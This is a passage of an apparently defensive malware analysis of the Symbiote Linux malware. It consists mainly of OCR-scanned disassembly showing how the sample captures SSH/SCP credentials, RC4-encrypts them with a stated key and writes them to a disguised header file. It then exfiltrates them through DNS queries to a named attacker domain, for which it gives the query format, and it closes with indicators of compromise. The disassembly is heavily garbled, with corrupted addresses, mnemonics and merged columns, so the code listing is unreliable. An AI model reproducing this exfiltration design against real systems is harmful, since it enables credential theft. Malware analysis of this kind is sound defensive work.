Ltext: 0080000880010 2A mov eax, [rbp+fd]
Ltext : 0800888008081 C20 mov edi, eax s fd
.text:eea8800008801C2F call _isatty
LJexteeaaeeaeea281C 34 test eax, eax
text:e000000000801C36 jnz short loc_1C41
Figure 41

The executable calls a function named log_cmd_line and then getaddrlist. The first function will be detailed in the

following paragraphs:
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il s =
Ltext:begaeapeaaRalCoR
ctext:pe08000008001C98 loc_1C098:
text:080000088001C98 mov eax, cs:index_ 5674
Ltext:0ee0000000801C96 movsxd rdx, eax
Ltext:oeaeeeeREEER1C99 lea rax, pw_5673
text: 2000000000081 CAR mov byte ptr [rdxtrax], @
text:ecoee00000081CA4 call log ecmd line
.text:B020620608881CA0 mov [rbpts], rax
ctext: 2002002200881 CA0 mov eax, cs:index 5674
ctext:pa6080000088801CB3 add eax, Bah
.text:o068000008001CE6 cdge
Ltext:ea880000888001CE8 mov [rbp+size], rax
Ltext:eeaee00888801LCBC cmp [rbp+s], @
text:ee00000000801CC1 jz short loc_1CD3
: Y
il =
text: 2000000000801CC3 mov rax, [rbpts]
text : 66086808008001CCT mov rdi, rax 5
Ltext:Ba02000208801CCA call _strlen
Ltext:ea60000000001CCF add [rbpt+size], rax
i ‘5
Ll s 55
Ltext:eaapsaaeeaaalCh3
text:aaee0888800081C03 loc_1CD3:
text:baeeeREE80081C03 call getaddrlist
Ltext: 2000000000001C08 mov [rbp+var_28], rax
text: 20000080880681C0DC cmp [rbptvar_ 28], @
text: B00E008088881CEL jnz short loc 1CEA
Figure 42

The malware constructs a string with the following structure “<getaddrlist result>|<log_cmd_line

result>|pw_5673”. It calls the saveline function with the “/usr/include/linux/usb/usb.h” parameter:

[l sl 5=

.text:eepaeeea800081019 lea rdx, @555 ; "¥s|%s|¥s\n"
.text :0000600000001020 mov rsi, [rbptvar_28]

Jtext: BEEERE0R0861024 mov rcx, [rbpts]

Jtext: BEEEREERE8G1028 mov rbx, [rbpt+size]
Ltext:@epaa00080000102C mov rax, [rbp+var_18]

. text:eseeaaa0ae2all38 mov rd, rsi

.text:0000000000001D33 lea rd, pw_5673
Ltext:8800000000001034 mov rsi, rbx ; maxlen
Ltext:8800000000081030 mov rdi, rax H-
LJgext:eese088880801048 mov eax, @

Ltext:eeppeeea80001045 call _snprintf

.text : 00006000680001D44 mov rax, [rbptvar_18]
LJdext:ease08888080104E mov rsi, rax
Ltext:8800000000001051 lea rdi, aUsrIncludelinu ; "/fusr/include/linux/usb/usb.h™
.text:s000000000001058 call saveline
Ltext:8e0a000000001050 mov rax, [rbp+var_18]

.text : poeaaE288081061 mov rdi, rax

Ltext: 0eeee0008080001064 call erasefree

Figure 43
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is read from “/proc/self/cmdline”:

Ltext:eeeeee0000081E09

.text:0000000000001E99 ; Attributes: bp-based frame

text:eaeeopREREEA1ESS

.text:0000802000081E99 log cmd line prec near

Ltext:papapepaReRa1EYD

.text:0000000000001E99 var_448= byte ptr -446h

.text:00000008BBB81E99 ptr= qword ptr -48h

Ltext:pee2000000801E09 var_38= qword ptr -38h

.text:0000000000001E99 var_38= dword ptr -3@h

.text:000000008088081E99 fd= dword ptr -2Ch

.text:00000888R0001E99 var 28= qword ptr -28h

.text:0000002000001E99 var_28= qword ptr -28h

.text:0000002000001E99 var_18= qword ptr -135h

Jtext:eeee000008081E09

Jtext:ae00000000001E99 ;  unwind {

Ltext:0000002828881E99 push rbp

.text:00000008B0001E9A mov rbp, rsp

Ltext:p000802288881E90 push rbx

.text:0000000000801E9E sub rsp, 438h

Ltext:0000002828881EAS mov [rbp+ptr], @

Ltext:f000002080801EAD mov [rbptvar_38], @

.text:8000000000801EB5 mov [rbp+var_3@], @

text:AE0E060008081EBC mov esi, @ ; oflag

.text:peRE02E0B001ECL lea rdi, file ; "/proc/self/cmdline™

Jtext:eeea0088000881ECS mov eax, @

Ltext:00000008888081ECD call _open

.text:0000008080R01ED2 mov [rbp+fd], eax

.text:p000802288881E05 cmp [rbptfd], @FFFFFFFFh

.text:0000000000001ED9 jnz short loc_ 1EES

\ L ]

s
Ltext:eee8e62888881EES
.text:0000080800001EES loc 1EES:
. text:000600000008081EES mov rax, cs:orig_read
.text:0000000008001EEC lea rbx, [rbp+var_448]
.text:0000080808001EF3 mov ecx, [rbpt+fd]
Ltext: pepoRedededaLlEFE mov edx, 488h
Ltext: pepeRenedadalEFE mov rsi, rbx
Ltext : pepeRededadalEFE mov edi, ecx
.text:0000000800001F08 call rax ; orig read
.text:0000000800001F02 mov [rbp+var_28], rax
.text:0000000000001FA6 cmp [rbp+var_28], @
.text:0000000808001FRE jle loc_1F98

Figure 44

The realloc method is utilized to deallocate the old object and to return a pointer to a new object:
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P
.text:0000000000801F11 mov rax, [rbp+var_28]
Ltext:eepa000000001F15 add [rbpt+var_38], rax
.text:0000000000801F19 mov rax, [rbp+var_38]
Ltext:0000000000001F10 lea rdx, [rax+l]
.text:00000000000801F21 mov rax, [rbpt+ptr]
.text: 0006000088001F25 mov rsi, rdx ; size
.text: 0006000000001F28 mov rdi, rax ;i ptr
text:pE000888000801F28 call _realloc
.text: 0000000000001F38 mov [rbptvar_28], rax
Ltext:0E000000000801F 34 cmp [rbptvar_28], @
.text: 0000060000001F30 jz short loc_1F9B
' £
Lol e =]
.text: 0000000000081 F 38 mov rax, [rbptvar_28]} |.text:00000006800001F38
.text: 0000000000081 F3F mov [rbp+ptr], rax .text :0000000000001FIB loc 1FOB:
.text:0000000000081F43 mov [rbptvar 18], @ .text : 0000000000B81FIB nop
.text:0000000000001F4B jmp short loc_ 1F89
[ J Yy
text:epeaeeopeREelrFs9 text:eeeapepaaaealraC
.text:eepa800800881F82 loc_1FB9: .text:eeeae00800881F9C loc_1F9C:
Ltext:0eRe8ER888B81FEY mov rax, [rbp+var_18]} |.text:eee8800888881F9C cmp [rbe
Ltext:eepaeeR880881FE80 cmp rax, [rbp+var_28]} |.text:B0080008800081FAR jz shor
.text:eepaepREEE881FIL j1 short loc_1F4D 1
Figure 45

The credentials extracted from the SSH or SCP process are encrypted using the RC4 algorithm (key =
“suporte42atendimento53log”). The encrypted content will be used to construct DNS requests in the sendlinedns

function:
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il s =]

text:
text:
text:
text:
text:
-text:
text:
text:
text:
text:
-text:
text:
-text:
text:
text:
text:
text:
text:
text:
text:
text:
-text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
-text:
text:

aapaaBaaRRRR27TF
aapaaEaaRRRe27 7 F

aapappaaRREa277E
aaeappaaRREa277E
aaeappaaRREa277E
aaaaapaaRREa277E
gppaREaaRRRR2T7 7
aapaaBaaRRRR2TTF
appaaBaaRRRe27 7 F
aaeappaaRREa277E
aaeappaaRREa277F
aaeappaaRRER277F
aaeappaaRREa277E
aapopaaaaaea27TF
gppaRoaaaaRR2TEE
aapaaBaaRRRe2783
aapaaoooaaRR2 754
aaeappaaRREa2738
aaaappaaaREa273C
aaaapaaaaRER2798
aaeapaaaaaR2794
eopapaaaaaEE2797
gppaREaaaRRE279C
aapaaBaaRRRe279F
aapaaEaaRRRe27AZ
aaeappaaaRaa27AL
aaeappaaaREa27A
aeeapaaaaRER27BE
aaeappaaaREa27E5
eapoppaaaaee27E8
gppaaEaaRRRR27EBC
aapaaBaaaREe27EE
aapaaaaaaRRe27C1
aaeappaaaREa27Co
aaeappaaaREa27Co
aeaapaaaaaR27CD
aaeapaaaaaaa270e
eoaepaaaaaea2707

Figure 46

aapappaaRRBa2TIE

Attributes: bp-based frame
saveline proc near

s= gword ptr -3@h
file= gqword ptr -28h

var_28= dword ptr -28h

fd= dword ptr -1Ch

var_18= dword ptr -18h
var_l4= dword ptr -14h

5 _ unwind {

push rbp

mow rbp, rsp

push rbx

sub rsp, 28h

mow [rbp+file], rdi

mow [rbp+s], rsi

Mo rax, [rbp+s]

mow rdi, rax I
call _strlen

mow [rbp+var_28], eax
mowv edx, [rbp+var_28]
mow rax, [rbp+s]

mow rsi, rax

lea rdi, aSuported42atend ;
call _RCa

Mo edx, [rbptvar_28]
mow rax, [rbp+s]

Mo esi, edx

mow rdi, rax

call sendlinedns

mow edx, [rbptvar_28]
mow rax, [rbp+s]

mow rsi, rax

lea rdi, aSuported4latend ;
call _RC4

"suported2atendimento53log

"suported42atendimento53log

The malicious process creates a file called “/usr/include/linux/usb/usb.h” by calling create_file:

text:aeaaRRRaaEE27DC
Ctext:eeeaReRa00820827E6

mow
mow

rax, [rbp+file]
rdi, rax

.text :00000000000027E3 call create_file
.text : 00000000000827ES mov rax, [rbp+file]
Ltext:eeeERRRE283827EC mov edx, 1B&h
Ltext:pe000000000027F1 mov esi, 4@1h ; oflag
Ltext:pesepneneseRa27Fe mov rdi, rax ; file
text:BERE288888827F9 mov eax, @
Ltext:02000000000027FE call _open
.text :0000000000002803 mov [rbp+fd], eax
text:@E220000088082886 cmp [rbpt+fd], @FFFFFFFFh
Ltext:@B0000000000280A I loc_23B3
Y

text:00000000BBB82818 mov eax, [rbp+fd]

text:0000000000062813 mov esi, 1B6h 3 mode

text: 000PEAOEBRRE2818 mov edi, eax ; Td

text:BEBERERERERE2E1IA call _fechmod

text:000000000000281F mov [rbp+var_14], @

text:0000000000002826 mov [rbp+var_18], @

text:0008228000802820 jmp short loc_286F
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Figure 47

The encrypted credentials are written to the file created above:

il i 5

Ltext:BEA22022008882587F mov eax, [rbp+fd]

SText : eEeaREEREBEE2882 mov edw, 4 :m
Ltext:oeppeape00002887 lea rsi, unk_32BD ; buf
Ltext : 0800800000002 38E mov edi, eax ; fd
Ltext:oeaeeEEREEE025398 call _write
Ltext:2000000000082595 mov eax, [rbptvar 18]
Ltext : 0E600EE088082898 movsxd rdx, eax om
Ltext:2E022002008825898 mov rcx, [rbpts]
Ltext:2E02202200882589F mov eax, [rbp+fd]

Ltext : 0200882000882 842 mov rsi, rcx 3 buf
Ltext : 6600000000002 83A5 mov edi, eax ;3 fd
Ltext:eeaeeeeREER828AT7 call _write
Ltext:22880008888828AC mov eax, [rbp+fd]

Ltext : 0800000000802 8AF mov edi, eax ; fd
text:ee080000000825881 call _close
Ltext:2E620000088028B6 Jmp short loc_ 28B9

Figure 48

In the sendlinedns function, the malware obtains information about the current kernel using the uname method.
Based on the resulting buffer, the process computes a machine ID which consists of 4 bytes generated using
crc32b (stored in id_6274):
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text:eae0000000008204C sendlinedns proc near
text:eeoppapeoaae 2040

.text:200006800000204C var_328= gword ptr -328h
.text:2000000000800204C var_38C= dword ptr -38Ch
.text:00800000800204C var_388= gqword ptr -388h
.text:00800000880204C name= utsname ptr -388h
.text:eoa800000880204C var_178= byte ptr -178h
Ltext:eoee0000080880204C s= byte ptr -138h
.text:0000000000008204C var 25= dword ptr -28h
.text:060000800008204C var 24= dword ptr -24h
text:2060006080800204C var 28= dword ptr -28h
.text:000000000800204C var_1C= dword ptr -1Ch
Ltext:e00800000880204C var_18= dword ptr -18h
.text : 0008000000800204C var_11= byte ptr -1lh
LtLext:eapsaaaoaae8 204

Ltext:eoeeeeepaeee204C ; _ unwind {
Ltext:eee00000000204C push rbp

.text:2080008000002040 mov rbp, rsp
Ltext:B00820808282058 push rbx
Ltext:eeoee08080082051 sub rsp, 318h
Ltext:0080000808002058 mov [rbpt+var_383], rdi
Ltext:e06800008800205F mov [rbp+var_38C], esi
Ltext:e068000088002065 mov [rbpt+var_28], 2B&7h
Ltext:eee800088800206C mov eax, cs:id 6274
LJLexteeeaeepeeaae2D72 test eax, eax
.text:@080008000002074 jnz short loc_2DA3F
i Y
P
.text:B0000000080682D76 lea rax, [rbptname]
Ltext: 8680000008882070 mov rdi, rax 3 name
.text:B000000000002088 call _uname
.text:060000080002085 lea rax, [rbp+name]
text : 000000000800 208C mov esi, 186h
L text: 8000000008802091 mov rdi, rax
Jtext:eeoe000000002094 call _crc32b
ctext:2008000000802099 mov cs:id 6274, eax

Ll e 5]
Jtext:boapooapoeaR2DoF

.text:B000000008068209F loc_2D0F:
.text:B068000080800200F call getserver

Figure 49

The encrypted credentials are hex-encoded and splitted to be exfiltrated via DNS requests to a domain owned by

the threat actor. The A DNS request has the following format:

o <Packet number — starts from 0x2B67 = 11111>.<Machine ID — Crc32b hash>.<Hex-encoded

data>.px32.nss.atendimento-estilo[.]Jcom

Finally, the executable calls the dns function that will exfiltrate data:
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] L

i = i =

. text:20000000000020DC . text:0000000008082E49 mov eax, [rbptvar_1C]
.text:@00000060000200C loc_2DDC: .text: 2060000000002E4C cdge

. text:BeRE0A08EBE820DC mov eax, [rbptvar_20] . text:BOBEAOBERRGE2ZELE mov [rbp+raxtvar_178], @
.text:00000000000020DF cdge . text:0000000000082E56 mov esi, cs:id_6274
.text:a0000000000020E1 add rax, [rbp+var_3@8] .text:2000000008002E5C lea rdx, abDUSS 3 "%d.%u.%s. %"
.text:00@ROBOAOBER2DEE movzx  eax, byte ptr [rax] .text:00008000BB002E63 lea rdi, [rbp+var_178]

.text :0000000000002DE8 mov [rbptvar_11], al .text :0000000000002E6A mov ecx, [rbp+var_28]

. text :808008GA0B082DEE mov ecx, [rbp+var_1C] . text : 90BOBOBORAGA2EED lea rax, [rbp+s]

. text:2000000000002DF1 movIx eax, [rbptvar_11] .text:B000RCBORRER2ETA lea rbx, aPx32NssAtendim ; "px32.nss.atendimento-esti
.text:@0000008000020F5 shr al, 4 .text:0000000000082E7B mov [rsp+328h+var_328], rbx
. text:2000000000002DF8 movix eax, al . text:0000000008082E7F mov r9, rdi
.text:0000000000002DFB movsxd rdx, eax .text:0000000000002E82 mov réd, esi
.text:a0a00000000020FE lea rax, a@123456789abcd_8 ; "812345673%abcdef” .text:0000000000082E85 mov esi, 1@@h 3 maxlen
. text:0000000808002E05 movix edx, byte ptr [rdxtrax] . text:0000000008082E8A mov rdi, rax HE
.text:0000000000062E09 movsxd rax, ecx .text :0000000008082E8D mov eax, @

. text :608008600B082E0C mov [rbptrax+var_178], dl .text:0080800000GA2E92 call  _snprintf
.text:BERROBERERER2ELI add [rbp+var_1C], 1 . text : BOBRROBERBOB2ED7 lea rax, [rbp+s]
.text:080000000002E17 mov ecx, [rbp+var_1C] .text :0000000000082E9E mov rdi, rax
.text:0000000808002E1A movix eax, [rbptvar_11] . text:BoREREREBBRR2EAL call dns
.text:@000000000002E1E and eax, @Fh .text:2000000000002EA6 add [rbptvar_28], 1
.text:0000000000062E21 movsxd rdx, eax .text:p000000008002EAA add [rbp+var_24], 1Fh
.text:B0RRORCBORER2E24 lea rax, a@l23456789%abcd @ ; "@12345673%abcdef”

.text:00O000OBORBA2EZB movzx  edx, byte ptr [rdxtrax

.text:000000000B002E2F movsxd rax, ecx

.text:0E0B0BRAOBER2E32 mov [rbptrax+var_178], dl

.text:0EE0000BOABA2E3Y add [rbptvar_1C], 1

.text:BORROBEAEROR2E3D add [rbptvar_28], 1

Figure 50

The implementation of the RC4 algorithm can be identified below:

Ltext:eeBeeRRRERREZE6E

.text:0000000000802668 loc_2666:
.text:0000000000202668 cmp [rbp+var_1@], @FFh
. text: H000000008082672 jle loc_2SE@

Ltext: pepaeepooepe267s8
Ltext:apRRERRRRRRE2ETF
Ltext:eeeRERRRRRRE2686
Ltext:popaeepooepe268D

il 55
mav [rbp+var_18], @ .text: 00000000060025E0
mow [rbp+var_C], @ .text: 00000008000025E0 loc_25E8:
moy [rbp+var_4], @ .text:BE02008686B625E8 mov eax, [rbpt+var_18]
jmp loc_276E .text:00000020000025E3 cdge

Figure 51

.text:00000000000025E5 movIx  eax, [rbp+rax+var_128]
. text:@e8608888088825ED movzx eax, al

.text:86286206808025F8 mov ecx, eax
.text:00000000000025F2 add ecx, [rbp+var C]
text: 60600008080025F5 mov eax, [rbp+var_18]
.text:BBBBRRRRRRBR2SFE mov edx, eax
text:ee000000000025FA sar edx, 1Fh
.text:00000008000025FD idiv [rbp+var_8]
.text:000R006088R682608 mov eax, edx
.text:0000008080802602 cdge
.text:opo0000000002604 add rax, [rbp+s]

.text:0000000000082608 movzx  eax, byte ptr [rax]
.text:@6862888808826BE movzx eax, al

.text:0000000000002611 lea edx, [rcx+rax]
text:eeeaa0a0008802614 mov eax, edx
text:@0860068888882616 sar eax, 1Fh
Ltext:peeAEE88880862619 shr eax, 1&h
Ltext:podopepe0000261C add edx, eax
.text:P00ERERE08BB261E and edx, B@FFh
Ltext:BE286286888882624 mov ecx, edx
text:eepeEEEE00802626 sub ecx, eax
text:8eee00080008882628 mov eax, ecx

text: 6060008080880262A mov [rbp+var_C], eax
.text: 0000008A80862620 mov eax, [rbp+var_18]

.text:0000000000002630 cdge
.text:0000000808002632 movzx  eax, [rbp+rax+var_128]

Ltext:B80202028888263A mov [rbp+var_11], al
.text:oeo0000000002630 mov ecx, [rbp+var_1@]
.text:0000000000002648 mov eax, [rbp+var C]

.text:BE082080080802643 cdge
.text:00000000060002645 movix  edx, [rbpt+raxtvar_128]
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Jtext:papoeoeoRRBB2TRE
.text:000000000008276E loc_276E:

. text:000060000008276E mov eax, [rbp+var_4]
Ltext:0000080808002771 cmp eax, [rbptvar_134]
Ltext:eepeRREREREE27TT j1 loc_2692
o ' o '

[l s 55 M=

Ltext:deaeoasa0aa02692 .text:0060000000002770 leave

.text:0000022800002692 loc_2692: text:000000000000277E retn

. text : BGREEGG608602692 mov eax, [rbptvar_18] text:000000000000277E ; | // starts at 2577

Ltext:@000000280002695 lea edx, [rax+l] Ltext:000000000000277E RC4A endp

. text: 80800680660088 2698 mov eax, edx text: 8080888808882 77E

texti:ooRopoeReRE22694 sar eax, 1Fh

text : 000000000008269D shr eax, 18h

Ltext:p000000000002600 add edx, eax

Ltext:00000222280802642 and edx, @FFh

text:e0e000280860260A58 mov ecx, edx

Ltext:p00000000800826AA sub BCX, 8%

. text: 606006806008026AC mov eax, ecx

.text:000002028080264E mov [rbptvar_18], eax

Ltext:00000202000026B1 mov eax, [rbptvar_10]

Ltext:@000808280002664 cdge
.text:0EE0000RE00626B6 movix  eax, [rbptraxtvar_128]
text:e0e00008008026BE movIx eax, al

Ltext:@0008082800026C1 add eax, [rbp+var C]
Ltext:0000000000026C4 mov edx, eax
Ltext : epRAE200BR826C6 sar edx, 1Fh
Ltext : epRa0200BR826C9 shr edx, 18h
Ltext:p00000000000826CC add eax, edx
Ltext : eRRA0080080826CE and gax, BFFh
Ltext : epea0020000826D3 sub eax, edx
Ltext :00000202080002605 mov [rbp+var_C], eax
Ltext :@0008228280002608 mov eax, [rbp+var_16]

.text:e0ec0000000026DB cdge
.text:00000000880802600 movix  eax, [rbptraxtvar_128]

.text : 00000082800026E5 mov [rbp+var_11], al
Ltext :@0008282800826E5 mov ecx, [rbp+var_16]
.text:00000222008026EE mov eax, [rbptvar C]

.text:000000088BRB026EE cdge
.text:00000000000026F8 movix  edx, [rbp+rax+var_120]
Ltext : 0PR00000000826F8 movswd rax, ecx

Figure 52
INDICATORS OF COMPROMISE
C2 domain: px32.nss.atendimento-estilo[.]Jcom
SHA?256: 121157e0fcb728eb8a23b55457e89d45d76aa3b7d01d3d49105890a00662c924

Files created: /usr/include/linux/usb/usb.h

Source: https://cybergeeks.tech/how-to-analyze-linux-malware-a-case-study-of-symbiote/
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